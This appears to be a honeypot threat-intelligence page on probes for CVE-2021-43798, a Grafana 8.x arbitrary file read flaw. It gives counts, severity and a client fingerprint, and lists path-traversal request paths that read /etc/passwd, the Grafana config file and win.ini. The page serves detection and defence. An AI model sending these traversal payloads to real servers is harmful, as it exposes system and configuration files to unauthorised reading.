CVE-2021-43798: Grafana v8.x - Arbitrary File Read

HoneyLabs honeypots recorded 3 probes matching CVE-2021-43798 from 1 distinct source IP addresses in the last 7 days. Severity is rated high.

This CVE is on CISA's Known Exploited Vulnerabilities list.

Request paths that identify it

• /public/plugins/alertlist/../../../../../conf/defaults.ini
• /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd
• /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini

Addresses probing it

Networks it comes from

Captured requests

• /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd

HTTP client fingerprints (JA4H)

• ge11nn0400_8fd06a127c33